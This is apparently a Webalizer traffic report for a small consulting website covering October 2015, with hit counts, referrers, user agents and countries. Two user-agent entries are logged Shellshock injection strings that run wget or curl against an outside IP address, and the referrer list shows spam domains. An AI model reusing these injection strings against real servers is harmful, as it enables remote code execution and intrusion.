Usage Statistics for mjeconsulting.com

Summary Period: October 2015
Generated 01-Nov-2015 02:48 EST

[Daily Statistics] [Hourly Statistics] [URLs] [Entry] [Exit] [Sites] [Referrers] [Search] [Agents] [Countries]

Monthly Statistics for October 2015
Total Hits 3269
Total Files 2239
Total Pages 2743
Total Visits 2331
Total KBytes 17313
Total Unique Sites 431
Total Unique URLs 274
Total Unique Referrers 74
Total Unique User Agents 163
. Avg Max
Hits per Hour 4 72
Hits per Day 105 178
Files per Day 72 103
Pages per Day 88 138
Sites per Day 13 71
Visits per Day 75 96
KBytes per Day 558 1140
Hits by Response Code
Code 200 - OK 68.49% 2239
Code 206 - Partial Content 0.09% 3
Code 304 - Not Modified 1.62% 53
Code 400 - Bad Request 0.64% 21
Code 403 - Forbidden 1.16% 38
Code 405 - Method Not Allowed 0.12% 4
Code 408 - Request Timeout 0.61% 20
Code 500 - Internal Server Error 27.26% 891

Daily usage for October 2015

Daily Statistics for October 2015
Day Hits Files Pages Visits Sites KBytes
1 114 3.49% 86 3.84% 105 3.83% 80 3.43% 62 14.39% 594 3.43%
2 107 3.27% 81 3.62% 94 3.43% 84 3.60% 62 14.39% 513 2.96%
3 133 4.07% 103 4.60% 111 4.05% 96 4.12% 67 15.55% 732 4.23%
4 118 3.61% 83 3.71% 99 3.61% 85 3.65% 68 15.78% 645 3.72%
5 117 3.58% 80 3.57% 94 3.43% 80 3.43% 71 16.47% 528 3.05%
6 178 5.45% 86 3.84% 138 5.03% 84 3.60% 62 14.39% 572 3.30%
7 110 3.36% 81 3.62% 87 3.17% 70 3.00% 64 14.85% 507 2.93%
8 93 2.84% 69 3.08% 80 2.92% 70 3.00% 54 12.53% 501 2.89%
9 91 2.78% 77 3.44% 86 3.14% 72 3.09% 54 12.53% 557 3.22%
10 106 3.24% 78 3.48% 91 3.32% 78 3.35% 57 13.23% 470 2.72%
11 107 3.27% 67 2.99% 94 3.43% 69 2.96% 56 12.99% 372 2.15%
12 105 3.21% 66 2.95% 78 2.84% 70 3.00% 56 12.99% 633 3.66%
13 109 3.33% 78 3.48% 92 3.35% 81 3.47% 68 15.78% 616 3.56%
14 113 3.46% 65 2.90% 96 3.50% 70 3.00% 54 12.53% 567 3.27%
15 118 3.61% 86 3.84% 94 3.43% 87 3.73% 69 16.01% 813 4.70%
16 89 2.72% 68 3.04% 70 2.55% 69 2.96% 55 12.76% 591 3.41%
17 95 2.91% 70 3.13% 72 2.62% 70 3.00% 56 12.99% 638 3.68%
18 107 3.27% 63 2.81% 94 3.43% 71 3.05% 45 10.44% 339 1.96%
19 129 3.95% 70 3.13% 104 3.79% 76 3.26% 64 14.85% 585 3.38%
20 105 3.21% 78 3.48% 86 3.14% 83 3.56% 61 14.15% 1140 6.58%
21 86 2.63% 70 3.13% 75 2.73% 72 3.09% 57 13.23% 523 3.02%
22 85 2.60% 69 3.08% 80 2.92% 77 3.30% 57 13.23% 497 2.87%
23 87 2.66% 62 2.77% 74 2.70% 71 3.05% 55 12.76% 430 2.48%
24 132 4.04% 73 3.26% 109 3.97% 78 3.35% 63 14.62% 639 3.69%
25 101 3.09% 60 2.68% 93 3.39% 73 3.13% 53 12.30% 406 2.35%
26 84 2.57% 59 2.64% 66 2.41% 66 2.83% 50 11.60% 397 2.29%
27 101 3.09% 68 3.04% 76 2.77% 76 3.26% 61 14.15% 338 1.95%
28 114 3.49% 68 3.04% 102 3.72% 75 3.22% 55 12.76% 552 3.19%
29 76 2.32% 54 2.41% 68 2.48% 67 2.87% 54 12.53% 499 2.88%
30 87 2.66% 64 2.86% 72 2.62% 70 3.00% 53 12.30% 649 3.75%
31 72 2.20% 57 2.55% 63 2.30% 61 2.62% 48 11.14% 470 2.71%

Hourly usage for October 2015

Hourly Statistics for October 2015
Hour Hits Files Pages KBytes
Avg Total Avg Total Avg Total Avg Total
0 3 99 3.03% 2 78 3.48% 2 86 3.14% 18 568 3.28%
1 2 83 2.54% 1 43 1.92% 2 63 2.30% 11 327 1.89%
2 3 102 3.12% 2 77 3.44% 2 87 3.17% 16 498 2.87%
3 3 123 3.76% 3 97 4.33% 3 103 3.76% 29 887 5.13%
4 4 131 4.01% 1 60 2.68% 3 119 4.34% 16 489 2.83%
5 5 183 5.60% 4 147 6.57% 5 155 5.65% 35 1092 6.31%
6 3 118 3.61% 2 88 3.93% 3 102 3.72% 17 515 2.98%
7 4 134 4.10% 2 90 4.02% 3 101 3.68% 26 818 4.72%
8 6 192 5.87% 4 144 6.43% 5 171 6.23% 28 868 5.01%
9 5 160 4.89% 3 106 4.73% 4 142 5.18% 36 1113 6.43%
10 4 127 3.88% 2 65 2.90% 3 98 3.57% 22 687 3.97%
11 5 168 5.14% 4 148 6.61% 4 149 5.43% 30 921 5.32%
12 4 132 4.04% 3 100 4.47% 3 108 3.94% 19 603 3.48%
13 3 103 3.15% 2 64 2.86% 2 77 2.81% 29 889 5.14%
14 5 163 4.99% 3 111 4.96% 4 150 5.47% 22 682 3.94%
15 2 83 2.54% 1 53 2.37% 2 71 2.59% 15 452 2.61%
16 4 127 3.88% 2 78 3.48% 3 101 3.68% 31 968 5.59%
17 6 200 6.12% 4 149 6.65% 5 174 6.34% 30 927 5.36%
18 6 205 6.27% 2 78 3.48% 4 153 5.58% 16 490 2.83%
19 3 123 3.76% 2 66 2.95% 3 97 3.54% 16 510 2.95%
20 5 164 5.02% 4 132 5.90% 4 139 5.07% 30 925 5.34%
21 3 115 3.52% 2 83 3.71% 3 95 3.46% 18 560 3.24%
22 2 77 2.36% 1 48 2.14% 2 64 2.33% 17 534 3.09%
23 5 157 4.80% 4 134 5.98% 4 138 5.03% 32 990 5.72%

Top 30 of 274 Total URLs
# Hits KBytes URL
1 1897 58.03% 7570 43.73% /
2 57 1.74% 1399 8.08% /eMail.gif
3 44 1.35% 1470 8.49% /untitled.swf
4 11 0.34% 165 0.95% /M
5 3 0.09% 16 0.09% /images/
6 2 0.06% 0 0.00% /0439/purchase-lipitor-without-a-prescription-overnight-shipping.html
7 2 0.06% 47 0.27% /modlogan/
8 2 0.06% 11 0.06% /modlogan/m_usage_200904_003_001.html
9 2 0.06% 6 0.03% /modlogan/m_usage_200912_002_001.html
10 2 0.06% 12 0.07% /modlogan/mla-full-web_request_protocol-201202.html
11 2 0.06% 13 0.08% /modlogan/mla-full-web_user_location_cities-201310.html
12 2 0.06% 7 0.04% /modlogan/mla-full-web_user_location_provinces-201111.html
13 2 0.06% 50 0.29% /modlogan/mla-full-web_user_useragent_visits-201310.html
14 2 0.06% 17 0.10% /modlogan/mla-full-web_user_view_duration_visits-201111.html
15 2 0.06% 13 0.07% /modlogan/mla-user-201208.html
16 2 0.06% 31 0.18% /modlogan/mla-web_user_host-201202.html
17 2 0.06% 18 0.10% /modlogan/mla-web_user_view_duration_average-201111.html
18 2 0.06% 237 1.37% /webalizer/usage_201404.html
19 2 0.06% 240 1.39% /webalizer/usage_201406.html
20 1 0.03% 1 0.00% /0439/
21 1 0.03% 0 0.00% /icons/apache_pb.gif
22 1 0.03% 2 0.01% /logo.ico
23 1 0.03% 6 0.04% /modlogan/m_usage_200905_000_001.html
24 1 0.03% 5 0.03% /modlogan/m_usage_200905_000_002.html
25 1 0.03% 2 0.01% /modlogan/m_usage_200905_002_004.html
26 1 0.03% 3 0.02% /modlogan/m_usage_200905_003_002.html
27 1 0.03% 2 0.01% /modlogan/m_usage_200905_004_002.html
28 1 0.03% 0 0.00% /modlogan/m_usage_200906_002_004.html
29 1 0.03% 5 0.03% /modlogan/m_usage_200906_003_001.html
30 1 0.03% 2 0.01% /modlogan/m_usage_200906_004_001.html

Top 10 of 274 Total URLs By KBytes
# Hits KBytes URL
1 1897 58.03% 7570 43.73% /
2 44 1.35% 1470 8.49% /untitled.swf
3 57 1.74% 1399 8.08% /eMail.gif
4 2 0.06% 240 1.39% /webalizer/usage_201406.html
5 2 0.06% 237 1.37% /webalizer/usage_201404.html
6 11 0.34% 165 0.95% /M
7 1 0.03% 164 0.95% /modlogan/mla-full-web_user_host_visits-201309.html
8 1 0.03% 162 0.94% /modlogan/mla-full-web_user_host_visits-201310.html
9 1 0.03% 162 0.94% /modlogan/mla-full-web_user_host-201310.html
10 1 0.03% 159 0.92% /modlogan/mla-full-web_user_host_visits-201301.html

Top 10 of 262 Total Entry Pages
# Hits Visits URL
1 1897 58.03% 1734 85.88% /
2 11 0.34% 10 0.50% /M
3 3 0.09% 3 0.15% /images/
4 2 0.06% 2 0.10% /0439/purchase-lipitor-without-a-prescription-overnight-shipping.html
5 2 0.06% 2 0.10% /modlogan/
6 2 0.06% 2 0.10% /modlogan/m_usage_200904_003_001.html
7 2 0.06% 2 0.10% /modlogan/m_usage_200912_002_001.html
8 2 0.06% 2 0.10% /modlogan/mla-full-web_request_protocol-201202.html
9 2 0.06% 2 0.10% /modlogan/mla-full-web_user_location_cities-201310.html
10 2 0.06% 2 0.10% /modlogan/mla-full-web_user_location_provinces-201111.html

Top 10 of 265 Total Exit Pages
# Hits Visits URL
1 1897 58.03% 1723 85.64% /
2 11 0.34% 10 0.50% /M
3 3 0.09% 3 0.15% /images/
4 2 0.06% 2 0.10% /0439/purchase-lipitor-without-a-prescription-overnight-shipping.html
5 2 0.06% 2 0.10% /modlogan/
6 2 0.06% 2 0.10% /modlogan/m_usage_200904_003_001.html
7 2 0.06% 2 0.10% /modlogan/m_usage_200912_002_001.html
8 2 0.06% 2 0.10% /modlogan/mla-full-web_request_protocol-201202.html
9 2 0.06% 2 0.10% /modlogan/mla-full-web_user_location_cities-201310.html
10 2 0.06% 2 0.10% /modlogan/mla-full-web_user_location_provinces-201111.html

Top 30 of 431 Total Sites
# Hits Files KBytes Visits Hostname
1 70 2.14% 0 0.00% 0 0.00% 1 0.04% 173.208.235.162
2 70 2.14% 70 3.13% 284 1.64% 68 2.92% hosted-by.leaseweb.com
3 46 1.41% 34 1.52% 153 0.89% 42 1.80% baiduspider-180-76-15-159.crawl.baidu.com
4 42 1.28% 31 1.38% 322 1.86% 40 1.72% baiduspider-180-76-15-8.crawl.baidu.com
5 41 1.25% 33 1.47% 149 0.86% 39 1.67% baiduspider-180-76-15-156.crawl.baidu.com
6 41 1.25% 34 1.52% 182 1.05% 40 1.72% baiduspider-180-76-15-19.crawl.baidu.com
7 39 1.19% 32 1.43% 320 1.85% 38 1.63% baiduspider-180-76-15-141.crawl.baidu.com
8 39 1.19% 32 1.43% 253 1.46% 36 1.54% baiduspider-180-76-15-153.crawl.baidu.com
9 39 1.19% 35 1.56% 158 0.91% 36 1.54% baiduspider-180-76-15-20.crawl.baidu.com
10 38 1.16% 32 1.43% 184 1.06% 37 1.59% baiduspider-180-76-15-157.crawl.baidu.com
11 38 1.16% 32 1.43% 485 2.80% 37 1.59% baiduspider-180-76-15-160.crawl.baidu.com
12 38 1.16% 28 1.25% 307 1.77% 36 1.54% baiduspider-180-76-15-31.crawl.baidu.com
13 37 1.13% 33 1.47% 349 2.02% 35 1.50% baiduspider-180-76-15-142.crawl.baidu.com
14 37 1.13% 29 1.30% 335 1.94% 33 1.42% baiduspider-180-76-15-148.crawl.baidu.com
15 36 1.10% 30 1.34% 302 1.74% 35 1.50% baiduspider-180-76-15-30.crawl.baidu.com
16 36 1.10% 30 1.34% 208 1.20% 35 1.50% baiduspider-180-76-15-32.crawl.baidu.com
17 35 1.07% 32 1.43% 281 1.63% 35 1.50% baiduspider-180-76-15-138.crawl.baidu.com
18 35 1.07% 28 1.25% 130 0.75% 35 1.50% baiduspider-180-76-15-14.crawl.baidu.com
19 35 1.07% 30 1.34% 160 0.92% 35 1.50% baiduspider-180-76-15-152.crawl.baidu.com
20 35 1.07% 29 1.30% 147 0.85% 32 1.37% baiduspider-180-76-15-23.crawl.baidu.com
21 35 1.07% 27 1.21% 127 0.73% 32 1.37% baiduspider-180-76-15-24.crawl.baidu.com
22 35 1.07% 29 1.30% 239 1.38% 32 1.37% baiduspider-180-76-15-5.crawl.baidu.com
23 34 1.04% 22 0.98% 95 0.55% 32 1.37% baiduspider-180-76-15-139.crawl.baidu.com
24 34 1.04% 25 1.12% 249 1.44% 32 1.37% baiduspider-180-76-15-146.crawl.baidu.com
25 34 1.04% 30 1.34% 292 1.69% 34 1.46% baiduspider-180-76-15-155.crawl.baidu.com
26 34 1.04% 27 1.21% 258 1.49% 33 1.42% baiduspider-180-76-15-158.crawl.baidu.com
27 34 1.04% 25 1.12% 283 1.63% 33 1.42% baiduspider-180-76-15-29.crawl.baidu.com
28 33 1.01% 26 1.16% 300 1.73% 32 1.37% baiduspider-180-76-15-10.crawl.baidu.com
29 33 1.01% 27 1.21% 222 1.28% 30 1.29% baiduspider-180-76-15-13.crawl.baidu.com
30 33 1.01% 23 1.03% 110 0.64% 30 1.29% baiduspider-180-76-15-145.crawl.baidu.com

Top 10 of 431 Total Sites By KBytes
# Hits Files KBytes Visits Hostname
1 38 1.16% 32 1.43% 485 2.80% 37 1.59% baiduspider-180-76-15-160.crawl.baidu.com
2 30 0.92% 25 1.12% 422 2.44% 28 1.20% baiduspider-180-76-15-18.crawl.baidu.com
3 11 0.34% 11 0.49% 367 2.12% 0 0.00% spider-100-43-91-9.yandex.com
4 37 1.13% 33 1.47% 349 2.02% 35 1.50% baiduspider-180-76-15-142.crawl.baidu.com
5 37 1.13% 29 1.30% 335 1.94% 33 1.42% baiduspider-180-76-15-148.crawl.baidu.com
6 42 1.28% 31 1.38% 322 1.86% 40 1.72% baiduspider-180-76-15-8.crawl.baidu.com
7 39 1.19% 32 1.43% 320 1.85% 38 1.63% baiduspider-180-76-15-141.crawl.baidu.com
8 23 0.70% 20 0.89% 319 1.84% 22 0.94% baiduspider-180-76-15-140.crawl.baidu.com
9 33 1.01% 25 1.12% 314 1.82% 29 1.24% baiduspider-180-76-15-28.crawl.baidu.com
10 38 1.16% 28 1.25% 307 1.77% 36 1.54% baiduspider-180-76-15-31.crawl.baidu.com

Top 30 of 74 Total Referrers
# Hits Referrer
1 2951 90.27% - (Direct Request)
2 44 1.35% http://rankings-analytics.com/try.php
3 10 0.31% http://success-seo.com/try.php
4 9 0.28% http://burgerinmac.com.ua/
5 9 0.28% http://prohoster.info/
6 7 0.21% http://buttons-for-website.com
7 6 0.18% http://balashihaevakuator.ru/
8 6 0.18% http://djvureader-free.ru/
9 6 0.18% http://need-for-speed.info/
10 6 0.18% http://pornogig.com/
11 6 0.18% http://www.worldhistory.biz/
12 5 0.15% http://brothers-smaller.ru/
13 3 0.09% http://ak-consult.ru/
14 3 0.09% http://dlya-android.org/
15 3 0.09% http://domik-derevne.ru/
16 3 0.09% http://downloadsphotoshop.com/
17 3 0.09% http://gamesintrend.com/
18 3 0.09% http://kinoix.net/
19 3 0.09% http://labplus.ru/
20 3 0.09% http://ledstudio.org/
21 3 0.09% http://lombardfinder.ru/
22 3 0.09% http://luckyshop.net.ua/
23 3 0.09% http://masterline.pro/
24 3 0.09% http://mazal-shop.ru/
25 3 0.09% http://mosrif.ru/produktsiya/oblitsovochnaya-plita
26 3 0.09% http://nastroyke.net/
27 3 0.09% http://netpics.org/
28 3 0.09% http://pornotwit.com/
29 3 0.09% http://pozdrawleniya.su/
30 3 0.09% http://prof-edinstvo.ru/

Top 1 of 1 Total Search Strings
# Hits Search String
1 1 100.00% www.mjeconsulting.com

Top 15 of 163 Total User Agents
# Hits User Agent
1 1885 57.66% Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
2 108 3.30% Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
3 102 3.12% Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)
4 92 2.81% Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
5 91 2.78% Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36
6 76 2.32% () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget -O /dev/null http://www.test
7 51 1.56% () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget 46.105.96.205/TEST231;curl 4
8 40 1.22% Mozilla/5.0 (Windows NT 5.1; rv:32.0) Gecko/20100101 Firefox/31.0
9 38 1.16% Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25
10 27 0.83% Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)
11 23 0.70% Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.107 Safari/537.36
12 19 0.58% Mozilla/5.0 (Windows NT 5.1; rv:6.0.2) Gecko/20100101 Firefox/6.0.2
13 18 0.55% Mozilla/4.0 (compatible; MSIE 6.0; Windows XP)
14 15 0.46% Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.3
15 15 0.46% Mozilla/5.0 (iPhone; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12F70 Safari

Usage by Country for October 2015

Top 29 of 29 Total Countries
# Hits Files KBytes Country
1 2380 72.81% 1819 81.24% 14267 82.41% Commercial (com)
2 334 10.22% 109 4.87% 705 4.07% Unresolved/Unknown
3 175 5.35% 103 4.60% 622 3.59% Network (net)
4 91 2.78% 78 3.48% 316 1.83% Ukraine
5 68 2.08% 66 2.95% 979 5.66% Brazil
6 44 1.35% 4 0.18% 16 0.09% Poland
7 27 0.83% 2 0.09% 41 0.24% Netherlands
8 21 0.64% 16 0.71% 65 0.37% Germany
9 19 0.58% 0 0.00% 5 0.03% European Union
10 17 0.52% 8 0.36% 35 0.20% Educational (edu)
11 14 0.43% 5 0.22% 61 0.35% Mexico
12 14 0.43% 1 0.04% 4 0.02% Russian Federation
13 11 0.34% 0 0.00% 0 0.00% Singapore
14 11 0.34% 8 0.36% 20 0.12% United Kingdom
15 7 0.21% 3 0.13% 12 0.07% British Indian Ocean Territory
16 6 0.18% 6 0.27% 86 0.50% Italy
17 5 0.15% 5 0.22% 20 0.12% Finland
18 4 0.12% 1 0.04% 4 0.02% Lithuania
19 4 0.12% 2 0.09% 8 0.05% Seychelles
20 3 0.09% 0 0.00% 0 0.00% Turkey
21 3 0.09% 0 0.00% 0 0.00% Uruguay
22 2 0.06% 0 0.00% 0 0.00% China
23 2 0.06% 0 0.00% 0 0.00% Indonesia
24 2 0.06% 2 0.09% 29 0.17% Portugal
25 1 0.03% 1 0.04% 4 0.02% Non-Profit (org)
26 1 0.03% 1 0.04% 4 0.02% Generic Business (biz)
27 1 0.03% 0 0.00% 0 0.00% France
28 1 0.03% 1 0.04% 4 0.02% India
29 1 0.03% 1 0.04% 4 0.02% Japan


Generated by Webalizer Version 2.20